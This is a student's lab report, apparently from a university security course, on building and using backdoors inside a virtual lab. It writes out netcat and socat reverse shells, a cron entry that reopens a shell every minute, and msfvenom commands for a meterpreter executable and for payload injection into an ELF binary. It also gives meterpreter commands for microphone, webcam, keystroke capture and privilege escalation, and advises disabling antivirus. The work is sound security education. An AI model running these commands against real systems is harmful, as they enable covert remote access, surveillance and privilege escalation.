20192409 潘则宇 实验二 后门原理与实践
后门原理与实践
一、实验内容
1、使用netcat和socat获取主机操作Shell,以成功启动某项任务作为实验成功的标准;
2、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
3、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
4、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
名词解释:
提权:顾名思义就是提高自己的权限,一般用在进行网络入侵和系统入侵之中,通过提权我们可以将原先的普通guest权限修改为超级管理员权限。
二、实验要求
-
掌握后门原理及免杀技术
-
回答以下问题:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
answer:
首先要了解什么是后门程序。后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
通过定义我们可以知道,由于操作系统设计的问题,我们系统中本身就带有后门程序,这是后门进入到我们系统中的其中一种方法。
除此以外,还可以通过将安装包、升级包或者是邮件乃至链接等等需要解压的文件与后门程序捆绑在一起,这时候一旦文件被运行,对应的后门程序就能被植入到主机当中,为黑客所使用。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
answer:
与上一问中后门进入系统方式比较类似,可以将后门程序与一个链接或者是文件绑定在一起,然后通过社会工程学攻击诱导用户打开,这时候后门就可以运行起来了。
在获得目标服务器administrator权限的情况下,可以将后门程序直接加入Windows启动项并进行监听,这样在目标主机每次启动的时候,后门程序就会启动。
(3)Meterpreter有哪些给你印象深刻的功能?
answer:
首先Meterpreter可以快速提权,通过Getsystem命令,Meterpret er可以自发尝试多种方法帮助获得System权限。
同时各种系数包括载荷、端口、地址的设置都非常方便,而且在监听之后的界面也是非常便于操作,总的来说是一个功能比较强大的控制台。
(4)如何发现自己有系统有没有被安装后门?
answer:
- 经常死机:这可能是因为后门程序打开了大量文件占用了CPU,这就会导致电脑非常地卡顿;
- 系统无法启动:后门程序修改了硬盘的引导信息,或删除了某些启动文件;
- 文件打不开:后门程序修改了文件格式,或者是修改了文件的权限,导致文件无法被查看或者修改;
- 系统空间不足:后门程序很有可能复制大量的垃圾文件占用硬盘空间,这就有可能导致会提示硬盘空间不足。
三、实验过程
(1)使用netcat获取主机Shell,并cron启动某项任务。
首先测试主机与Kali虚拟机之间的连通性,如下图所示:
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401132709289-2122796895.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401133319621-1533517540.png)
ncat.exe -l -p 8888 //主机进行监听的代码,采用了8888端口
nc 172.16.213.248 8888 -e /bin/sh //虚拟机进行反弹连接的代码
nc -l -p 8888 //虚拟机进行监听的代码,同样采用了8888端口
ncat.exe -e cmd.exe 172.16.212.225 8888
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401134234466-784253626.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401134338204-186249442.png)
* * * * * /bin/netcat 172.16.213.248 9000 -e /bin/sh //五个星号分别指代的是分钟、小时、日、月、年,所以这条指令会逐分钟被调用
然后我们在主机命令行就能监听到虚拟机的Shell了,这一步的截图如下所示:
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401134615603-738724860.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401135333727-1828052508.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401135414094-1286328226.png)
(2)使用socat获取主机Shell。
首先我们打开计算机管理,在任务计划程序中创建任务,并对触发器进行设置,如下图所示:
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401135653165-554848866.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401135727703-1250547127.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401135747505-1237960912.png)
然后等到图九中我们预先设置的时间节点,我们就会发现弹出了一个命令行的窗口,如下图所示:
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401135835682-1543271794.png)
这时候我们不关闭命令行窗口,在Kali虚拟机中使用如下socat指令就可以成功获取主机Shell了。
socat - tcp:172.16.213.248:9000
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401135926745-1506016760.png)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
我们还是首先创建后门程序,代码如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.203 LPORT=9000 -f exe > pzy_backdoor.exe
//其中192.168.1.203为Windows主机地址
此时我们发现,后门程序已被成功创建,如图所示:
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401161202707-1764543134.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401161303828-1781184327.png)
nc 192.168.1.127 9000 < pzy_backdoor.exe //虚拟机进行输入重定向
ncat.exe -l 9000 > 20192409_backdoor.exe //主机进行输出重定向
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401162608919-376287928.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401163644809-580310785.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401170131985-1931115805.png)
非常好,这时候已经成功一半了,再在Kali虚拟机中使用msfconsole指令打开msf控制台,我们就能收获一只非常可爱的小马宝莉,如图所示。
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401164551004-654739974.png)
然后我们进入监听模块,对攻击载荷进行设置,这里注意要与后门文件中的载荷相同,同时还要对LHOST、LPORT也即地址号和端口号进行配置,注意都要与后门文件中相同,并且要严格区分大小写,代码如下。
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp. //设置攻击载荷
set LHOST 192.168.1.203 //设置地址号
set LPORT 9000 //设置端口号
执行界面如下图所示:
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401165528307-833398541.png)
最后我们就可以用exploit开启监听,并在主机上运行后门程序,我们惊奇的发现,实验成功了,Kali虚拟机已经成功获得了Windows主机的Shell,如图所示。
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401170216720-1166976635.png)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
获取目标主机音频、外置摄像头和屏幕截屏的指令如下,直接在msf中继续操作就行,非常容易。
record_mic //获取目标音频
webcam_snap //获取目标外置摄像头
screenshot //获取目标屏幕内容
对应的截图如下:
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401194728000-966619378.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401195222182-1948498558.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401195002556-1398509073.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401195708404-263747295.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401195506284-1709350909.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401201056288-952933669.png)
然后就是获得目标主机的击键记录,代码如下:
keyscan_start //记录击键的过程
keyscan_dump //获取击键记录
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401203404022-666081438.png)
最后就是尝试提权的过程,代码如下:
getsystem
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220401203604321-1397624226.png)
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
首先还是要将shellcode进行注入,这时候我们需要使用的代码指令如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.109 LPORT=9000 -x /media/sf_shabi/网络攻防/pwn20192409 -f elf > pwn20192409_3 //其中也是定义了攻击载荷、连接的地址以及端口号
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220402101432697-2128648397.png)
然后还是需要用到msfconsole指令打开控制台,像实验四中一样对载荷、地址、端口进行配置。
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220402101920701-280480386.png)
最后我们进行监听,并打开另一个终端运行我们注入shellcode之后的20192409pwn文件,这时候我们发现监听成功了。
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220402102154478-358472468.png)
![](https://img2022.cnblogs.com/blog/1824107/202204/1824107-20220402102209622-1021169169.png)
四、问题及解决方案
(1)在任务一中ncat.exe每次使用之后会显示该文件不存在。
原因和解决方法:
联想自带的电脑管家会将ncat.exe识别为有危害的软件并且将其删除。解决办法就是暂时将电脑自带的管家以及系统内的杀毒给关闭,这样ncat.exe就可以正常运行了。
(2)在任务三中,最后使用exploit指令进行监听的时候报错,显示连接到的地址无效。
原因和解决方法:
这里的报错大概率是最开始生成后门程序的时候的地址写的有问题。这时候解决办法就是将全部的步骤中的地址仔细检查,需要将LHOST处统一为虚拟机的地址,最后重新进行监听,发现监听成功。
(3)在任务三中,生成的后门文件在重定向导出到Windows本机之后发现并不能双击打开,会提示该文件不能在此设备上运行。
原因和解决方法:
最后没有找到原因,但是在反复remake之后发现就可以运行了,猜测可能是在导出到本机的时候结束的太快,导致文件没有完全传过来,后来经过比较大小,发现该文件大小为73KB的时候是完全传送了,才能继续进行接下来的步骤。
(4)在任务五中,进行监听会进入循环,无法跳出,执行目标pwn文件也没有反应。
五、学习思考与感悟
本次实验做的是后门的相关内容,这一部分内容在上课的时候还没有讲到,但是总体来说内容比较简单,所以在理解方面并没有很困难。了解到后门的原理其实跟木马差不多,然后就可以开始实验了。本次实验的内容主要分为两个部分,第一部分就是Windows主机和Linux虚拟机使用ncat和socat分别获取对方的Shell,从而达到监听或者是提权的目的;第二部分就是对于msf控制台的使用,包括监听的实现,各种操作的进行等等。
通过这次实验,对于后门可以说是有了比较深刻的理解,也是可以说能够初步利用后门程序来达到一些目的,但是在实际操作方面,还是遇到了很多小问题,比如对于地址的把握等等,都不是很熟练,这也导致实验中出现了很多没有想到的BUG。当然,总的来说,整个实验过程还是非常流畅的,也是可以不通过教程就能较为纯熟地掌握msf控制台的使用。
希望之后还能继续学习到后门相关的知识,这一块的知识也是非常的有趣。最后,非常感谢王老师课上的耐心讲解以及云班课视频的支持,正是因此我才能这样顺利地完成本次实验,谢谢!